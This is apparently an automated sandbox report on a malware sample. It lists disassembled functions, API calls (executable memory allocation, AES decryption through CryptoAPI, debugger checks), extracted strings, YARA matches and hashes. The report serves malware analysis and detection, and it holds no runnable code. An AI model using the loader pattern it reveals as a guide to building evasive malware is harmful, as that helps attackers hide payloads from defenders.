Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 0041249E Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
Instruction ID: ad8272dea5af250e00f6a395d7f300feb0e2b911a381963764dc482fc342fffd
Opcode Fuzzy Hash: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
Instruction Fuzzy Hash: B4E03031205225AAD73126A69E00BDB3A589B417A4F154233EC04E66D1DBAC9CE182AD

Function 009AC8A7 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009AC8CB

Memory Dump Source

Source File: 00000000.00000002.2593780499.00000000009A7000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a7000_8V0INSl0E2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9f3c2e9eb3f00239bb64b55fd7842b5703f67d105e212353243a668d091c74d8
Instruction ID: 1dbecfe7626f81b8140233d0187841b5a74f1540c7609381a7a35939b0237e37
Opcode Fuzzy Hash: 9f3c2e9eb3f00239bb64b55fd7842b5703f67d105e212353243a668d091c74d8
Instruction Fuzzy Hash: E4E0E5B180C604DFD711BF28DC856BEF7E0AF29310F06092CDBD242600E63965209BD3

Function 0040E268 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0040E27B

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction ID: def2e2de252ffdbb94672f6279d5865abf5ab7644d9ffbe49541578f7e328dd5
Opcode Fuzzy Hash: db01065975d67949ddfc68d95b64cc0fb921476d903cbe9e9cdf5676f9f73183
Instruction Fuzzy Hash: 82C08C31100208BBCB00DB46C806B8E7FA8DB803A8F204049F40417251DAB1EE409680

Function 00E1A0AD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00E1A0FE

Memory Dump Source

Source File: 00000000.00000002.2597293935.0000000000E19000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E19000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e19000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 43a48d450240d9e731a3adae991f8d98c5cb349e15dce6c1fbacf4badb3621ae
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E1113279A01208FFDB01DF98C985E98BBF5AF08750F0580A4F9489B361D371EA90DF41

Function 00402BF0 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402BFF

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction ID: c3e6f36c677934e3fb1d6ceeea9da9d01375f90aa72a3d22a0593b590ebbe711
Opcode Fuzzy Hash: ca1f9d2fe36c7284753979306af93d0cb1d2fe33a661f06d3f51028e1cfc8f97
Instruction Fuzzy Hash: F7C0013200020DFBCF025F81EC0489A7F2AEB09264F008020FA1804021C7329931ABA9

Function 00402C10 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402C1C

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction ID: 60d78a83612f02709208ad56537e98f16bf966ab6139b9664c308e167d28ca00
Opcode Fuzzy Hash: 5ceef4664e2463bb707098a5d0699c231cbc0156091deadbe1fb1452187b7f9f
Instruction Fuzzy Hash: 61B0923244020CFBCF021F81EC048D93F2AFB08264F008024FA1C44031C733D531AB84

Non-executed Functions

Function 04B53B27 Relevance: 31.4, APIs: 9, Strings: 8, Instructions: 1645COMMON

Download Yara Rule

Strings

rB, xrefs: 04B56527
FOKD, xrefs: 04B5431F
rB, xrefs: 04B54DB5
rB, xrefs: 04B53DD6
]DFE, xrefs: 04B544F4
rB, xrefs: 04B542AC
rB, xrefs: 04B550DE
DFEK, xrefs: 04B55143

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID: DFEK$FOKD$]DFE$rB$rB$rB$rB$rB
API String ID: 0-735762442
Opcode ID: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction ID: ee0bfc3dc63b0200a3346082a56d0392287961d26e93ad7e280e2eefdc377bad
Opcode Fuzzy Hash: b634da6b4ff11c5db356e861f82a2c18836c59c7cb790a52b1b2f21f6beabc7d
Instruction Fuzzy Hash: 7AE29DB0D002589BEB25EF64DC54BEEFB74EF10308F5041D8D9096B2A1DB756A88CFA5

Function 04B53727 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042A018), ref: 04B537A7
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B537CB
_mbstowcs.LIBCMT ref: 04B5381E
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B53835
GetLastError.KERNEL32 ref: 04B5383F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B53867
GetLastError.KERNEL32 ref: 04B53871
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B53881
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B53943
CryptDestroyKey.ADVAPI32(?), ref: 04B539B5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B53783

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction ID: 320dc16a0059a914a07c6e5c2557f679f34d30819f4a6e8a52c5ced45cb499f4
Opcode Fuzzy Hash: e8a2417c6fd1f5a0234f20e664ae74c119de5196ead524865740bbc4210dc3f9
Instruction Fuzzy Hash: 95818371A00218AFEF249F24CC45B99BBB5FF49344F1081E9E94DE72A0DB31AE858F55

Function 00983539 Relevance: 12.9, Strings: 9, Instructions: 1687COMMON

Download Yara Rule

Strings

XHs/, xrefs: 00984465
*:Q;, xrefs: 00983D58
HPo~, xrefs: 00983A6E
kcuw, xrefs: 00984099
M0X, xrefs: 009836EE
4Y}, xrefs: 00983843
_,W>, xrefs: 0098355A
|z, xrefs: 009848E1
Yoi, xrefs: 00983CB8

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: *:Q;$4Y}$HPo~$M0X$XHs/$Yoi$_,W>$kcuw$|z
API String ID: 0-252976261
Opcode ID: cfa4b4f82e61a7ddaafdb00e5d2d789b8cd67ef076b9195cecd2691bed816da6
Instruction ID: 29449e3114e6efb897fc5f5a23e5ad6e612e1a3eb9b354d24f86b6f4674052bd
Opcode Fuzzy Hash: cfa4b4f82e61a7ddaafdb00e5d2d789b8cd67ef076b9195cecd2691bed816da6
Instruction Fuzzy Hash: 4CB2F7F360C3049FE304AE29EC8567AF7E9EF94720F1A4A3DE6C5C3744EA3558058696

Function 0098D4B2 Relevance: 12.9, Strings: 9, Instructions: 1656COMMON

Download Yara Rule

Strings

%x}, xrefs: 0098D7EB
?w, xrefs: 0098E723
"nu, xrefs: 0098DB7F
v6|f, xrefs: 0098E140
\(6}, xrefs: 0098E2A0
cU6o, xrefs: 0098DCF1
%=}, xrefs: 0098D880
bK7, xrefs: 0098DC22
0sx, xrefs: 0098E1C7

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: %=}$%x}$0sx$\(6}$bK7$cU6o$v6|f$"nu$?w
API String ID: 0-124961387
Opcode ID: e160f6cc073ddf209388dd6212108172eac7db8c9393505719e5f924a97d1c5b
Instruction ID: a18a21bbb192e52f36e4d65a4842478ecd0faf815aa9165ec148724d4e8eb29a
Opcode Fuzzy Hash: e160f6cc073ddf209388dd6212108172eac7db8c9393505719e5f924a97d1c5b
Instruction Fuzzy Hash: 6DB239F3A0C2049FE7046E2DEC8567ABBE9EB94320F1A463DEAC4C7344E67558058797

Function 00989F17 Relevance: 12.9, Strings: 9, Instructions: 1624COMMON

Download Yara Rule

Strings

U, xrefs: 0098A58E
9ey?, xrefs: 0098A84E
d>_F, xrefs: 0098A5FA
P[x, xrefs: 0098A3F3
Mg, xrefs: 0098A33C
\k=O, xrefs: 0098A901
V'nv, xrefs: 0098A077
zD<, xrefs: 0098A60F
$oW, xrefs: 0098A9CC

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: zD<$9ey?$Mg$P[x$U$V'nv$\k=O$d>_F$$oW
API String ID: 0-3506888837
Opcode ID: da5bca0c49b46e39070061a8be7242e9703035c11eb0057e270070f4cf7dc1b0
Instruction ID: 43957726270e3c18763a3a3b806a90e4431bee9e2526bcbf7c592bb436784532
Opcode Fuzzy Hash: da5bca0c49b46e39070061a8be7242e9703035c11eb0057e270070f4cf7dc1b0
Instruction Fuzzy Hash: EBB23AF3A0C2149FE3046E2DEC4566AFBE9EF94320F1A893DEAC4C3744E67558058796

Function 0099ADDE Relevance: 11.6, Strings: 8, Instructions: 1577COMMON

Download Yara Rule

Strings

-om~, xrefs: 0099B8E5
aGI@, xrefs: 0099B509
.IOo, xrefs: 0099BCB6
f~v, xrefs: 0099AE90
H{<, xrefs: 0099B212
N?u, xrefs: 0099B31B
{{, xrefs: 0099B11E
D/, xrefs: 0099BB33

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: -om~$.IOo$N?u$aGI@$D/$H{<$f~v${{
API String ID: 0-370965223
Opcode ID: df399581cbfaec642b138217f30617f35b50c73dc81b74fe308958e9e1a4e367
Instruction ID: 6fcdafd1bceedae81bb7c4619f413f206aef2ba1163e04f73e5726fe3e9151fc
Opcode Fuzzy Hash: df399581cbfaec642b138217f30617f35b50c73dc81b74fe308958e9e1a4e367
Instruction Fuzzy Hash: 65B204F3A0C2049FE3046E29EC8567AFBE5EF94720F16493DEAC4C7744E63598058796

Function 009925FF Relevance: 10.4, Strings: 7, Instructions: 1631COMMON

Download Yara Rule

Strings

>&w, xrefs: 00993044
]o{, xrefs: 0099358A
Vgow, xrefs: 00992ED0
B]|5, xrefs: 009929B1
t,7{, xrefs: 00992AAD
xr)~, xrefs: 00992AA2
b&, xrefs: 00993894

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: >&w$B]|5$Vgow$]o{$b&$t,7{$xr)~
API String ID: 0-1012888425
Opcode ID: 9edd3d200152d659785a55b35dfe13a4fdac149ee3b1cb276ff6f6bec96c352a
Instruction ID: 33d2c4686349ab1a94f82943f5eab924320f978a091c609682010251d178c0d4
Opcode Fuzzy Hash: 9edd3d200152d659785a55b35dfe13a4fdac149ee3b1cb276ff6f6bec96c352a
Instruction Fuzzy Hash: F9B207F360C2049FE304AE2DDC8567AFBE9EF94720F1A893DEAC4C7744E63558058696

Function 00990A44 Relevance: 9.1, Strings: 6, Instructions: 1639COMMON

Download Yara Rule

Strings

"ZY~, xrefs: 00991441
v, xrefs: 00990C86
7wr, xrefs: 009911C9
e_/, xrefs: 0099192F
.q], xrefs: 00991D8B
8kF, xrefs: 00991844

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: "ZY~$.q]$7wr$8kF$e_/$v
API String ID: 0-3261061165
Opcode ID: 1605db4c5e444ae06d70b7c96481f1d8138387db98e99736a0fa61afd6ef9519
Instruction ID: 228e46f6930c0866f37fec5bf92fce5d4c06f88cec213e39bdf065b3502c49d5
Opcode Fuzzy Hash: 1605db4c5e444ae06d70b7c96481f1d8138387db98e99736a0fa61afd6ef9519
Instruction Fuzzy Hash: 7BB23AF390C2049FE304AE2DDC4567ABBE9EF94720F1A863DEAC5D7744EA3558008697

Function 009869D7 Relevance: 9.0, Strings: 6, Instructions: 1542COMMON

Download Yara Rule

Strings

X$G, xrefs: 009870D6
A5z, xrefs: 009871B7
4m?, xrefs: 009873CF
^uo, xrefs: 00987B13
veX, xrefs: 00986B25
{v{, xrefs: 00987569

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: 4m?$X$G$^uo$veX${v{$A5z
API String ID: 0-371294317
Opcode ID: c30bc13829b720b3614f6a801c13bd25ca8438bb4ae3f7be802a9dab50fb5823
Instruction ID: 6b84e0a45d33f415fd4e4e29f966a350b738d97d2bded5f1daf112dc39c69a3c
Opcode Fuzzy Hash: c30bc13829b720b3614f6a801c13bd25ca8438bb4ae3f7be802a9dab50fb5823
Instruction Fuzzy Hash: 76A2F6F390C2109FE304AE2DEC8567ABBE9EF94620F16493DE6C5C7744EA3598018697

Function 009850C0 Relevance: 9.0, Strings: 6, Instructions: 1492COMMON

Download Yara Rule

Strings

W@?^, xrefs: 00985DDB
legG, xrefs: 009860D3
/M?g, xrefs: 00985C7F
)SoF, xrefs: 00985B73
?;, xrefs: 00985DB5
|how, xrefs: 00985CC4

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: )SoF$/M?g$?;$W@?^$legG$|how
API String ID: 0-1883057884
Opcode ID: fb71b6fbdf02a176bcbede88434e19b527ea17d08ad09319625669df28706e2d
Instruction ID: 2a69c665ea00c9e6115f3a3ff15e929df3d7971af54b56f5c9c41d87db5eeec4
Opcode Fuzzy Hash: fb71b6fbdf02a176bcbede88434e19b527ea17d08ad09319625669df28706e2d
Instruction Fuzzy Hash: BFA206F3A0C204AFE7046F29EC8567AFBE5EF94720F1A492DE6C583744EA3558048797

Function 0099468C Relevance: 8.8, Strings: 6, Instructions: 1259COMMON

Download Yara Rule

Strings

sg{, xrefs: 00995482
d>m, xrefs: 0099508D
3m, xrefs: 00994FD3
/JRr, xrefs: 00994FA6
\%fs, xrefs: 00994B4E
S0c, xrefs: 00995136

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: /JRr$S0c$\%fs$d>m$sg{$3m
API String ID: 0-2359639398
Opcode ID: f8476b2eb4976c1f73eb1c85b665e1c3ed08d2b19d268eddf5d1c064c6ec872e
Instruction ID: 92c222451cdb7a01b29e396c39806d50bc1d885e351d3dcd34b6a4a6add761be
Opcode Fuzzy Hash: f8476b2eb4976c1f73eb1c85b665e1c3ed08d2b19d268eddf5d1c064c6ec872e
Instruction Fuzzy Hash: 258227F360C2009FE3086E2DEC9567ABBD9EFD4320F1A463DEAC5C7744E93598058696

Function 04B59A19 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 04B59A25
IsDebuggerPresent.KERNEL32 ref: 04B59AF1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B59B11
UnhandledExceptionFilter.KERNEL32(?), ref: 04B59B1B

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: dfdd5ba5d5d5445a28c7a1b5586aae3e7d6ef734e66efb1d37dff2e1a02ae5d0
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: 4431FAB5D0521CDBDB10DF64D9897CCBBB8BF08304F1041EAE409A7250EB715A85DF45

Function 004097B2 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004097BE
IsDebuggerPresent.KERNEL32 ref: 0040988A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004098AA
UnhandledExceptionFilter.KERNEL32(?), ref: 004098B4

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction ID: c565fb8366faf90fb764b1371249259a4a166a2e914fc73a985bf40890c2a5d7
Opcode Fuzzy Hash: 3d6f7e7e6d2dce829ef9a538eb3787554eded577627c7bcf21dfb5f8b50c02c3
Instruction Fuzzy Hash: AB312BB5D1131CDBDB10EF65D9897CDBBB8BF18304F1040AAE409A7290EB755A85CF49

Function 04D02070 Relevance: 5.5, Strings: 4, Instructions: 504COMMON

Download Yara Rule

Strings

0,@, xrefs: 04D02252
@,@, xrefs: 04D02259
@, xrefs: 04D0208F
`,@, xrefs: 04D02260

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: 0,@$@$@,@$`,@
API String ID: 0-1654315312
Opcode ID: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction ID: 94b866f110e91aab5e3c397b57d64e23afc9ee43eabaf952970047ed8b373fd7
Opcode Fuzzy Hash: 5b4dbf54bdba94f60b787558392db44d93cafa9daf967c2ab35a05ecdb66b168
Instruction Fuzzy Hash: A1127C71B022159BDB14CFA8D984BADB7B1FF48304F1481AAE909AB385D775FC41CBA4

Function 0099928B Relevance: 5.4, Strings: 3, Instructions: 1642COMMON

Download Yara Rule

Strings

VI~, xrefs: 00999C87
N%v>, xrefs: 00999752
}c=W, xrefs: 0099A645

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: N%v>$VI~$}c=W
API String ID: 0-3172321538
Opcode ID: 22b457bc6dc24b18fbcd3ee41e700206b6a610cfb4e11de06da7612f819bbd8a
Instruction ID: 8e8e93c37cdaba2637e9c55f3ad5489bc26d3fcafb68ef149c88b2e6001a0fba
Opcode Fuzzy Hash: 22b457bc6dc24b18fbcd3ee41e700206b6a610cfb4e11de06da7612f819bbd8a
Instruction Fuzzy Hash: 08B207F3A0C2049FE304AE2DEC8567AF7E9EF94720F16863DEAC583744E63558058697

Function 00997734 Relevance: 5.3, Strings: 3, Instructions: 1587COMMON

Download Yara Rule

Strings

arY, xrefs: 00997874
{OvC, xrefs: 009979CD
Ko[, xrefs: 009977EE

Memory Dump Source

Source File: 00000000.00000002.2593780499.0000000000819000.00000040.00000001.01000000.00000003.sdmp, Offset: 00819000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_819000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID: Ko[$arY${OvC
API String ID: 0-2298495105
Opcode ID: c1e07fa6c17637e99725f8270d70f460dcb378d16873085dbb3a47486eae83ac
Instruction ID: 4adcc24a87a4b62e50eb96d6655cccb74ef4a0d5fd99ef30afb03d4f708e99a8
Opcode Fuzzy Hash: c1e07fa6c17637e99725f8270d70f460dcb378d16873085dbb3a47486eae83ac
Instruction Fuzzy Hash: FAB22AF3A082009FE3046E2DEC8567ABBE5EF94720F1A4A3DEAC5C7744E63558058797

Function 04B5C31A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 04B5C412
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 04B5C41C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 04B5C429

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction ID: a82941ff1ab15166b792db7cf0a9715c62ed758552e61d8106de27d289b9f23f
Opcode Fuzzy Hash: 131c0d4e7d26b594cba5fcb71e5b1937b03cc24f2ec617643b077344ff1b42c4
Instruction Fuzzy Hash: F33187B59012289BCB21DF68D9887DDBBB4BF08314F5041EAE81CA7260E7749B858F45

Function 0040C0B3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0040C1AB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040C1B5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0040C1C2

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction ID: dd4c83c30a1d2e7c36c102c60c461113305a32f1f02fbca7a201bc05c8f10de1
Opcode Fuzzy Hash: b149471185ea7cab19788dd3e2c66aa1f526c3a9366d234e05bd43495572b69a
Instruction Fuzzy Hash: 3031E774901228EBCB21DF65D8897CDBBB4BF18310F5041EAE40CA7291E7349F858F49

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 04B5F174 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,04B5F173,00000000,0041D0A0,?,00000000,?,04B61714), ref: 04B5F196
TerminateProcess.KERNEL32(00000000,?,04B5F173,00000000,0041D0A0,?,00000000,?,04B61714), ref: 04B5F19D
ExitProcess.KERNEL32 ref: 04B5F1AF

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
